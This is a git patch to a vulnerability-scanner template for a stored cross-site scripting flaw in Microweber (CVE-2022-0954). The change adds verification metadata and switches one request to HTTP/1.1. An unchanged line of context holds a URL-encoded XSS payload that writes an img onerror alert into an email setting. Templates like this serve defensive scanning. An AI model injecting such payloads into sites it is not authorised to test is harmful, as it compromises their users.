From a9afe9222922c765e80eb01af1dfbae6e2640e1f Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Wed, 27 Jul 2022 13:18:58 +0530 Subject: [PATCH] Update stored-xss-mwb.yaml --- vulnerabilities/microweber/stored-xss-mwb.yaml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/vulnerabilities/microweber/stored-xss-mwb.yaml b/vulnerabilities/microweber/stored-xss-mwb.yaml index ba7a66b45a..a91f394690 100644 --- a/vulnerabilities/microweber/stored-xss-mwb.yaml +++ b/vulnerabilities/microweber/stored-xss-mwb.yaml @@ -14,6 +14,8 @@ info: cvss-score: 6.8 cwe-id: CWE-79 cve-id: CVE-2022-0954 + metadata: + verified: true tags: cve,cve2022,xss,microweber,authenticated requests: @@ -34,7 +36,7 @@ requests: option_key=email_from&option_group=email&option_value=%22%3E%3Cimg+src%3D%22x%22+onerror%3D%22alert(document.domain)%3B%22%3E&module=settings%2Fgroup%2Femail - | - POST /module/ HTTP/2 + POST /module/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: {{BaseURL}}admin/view:shop/action:options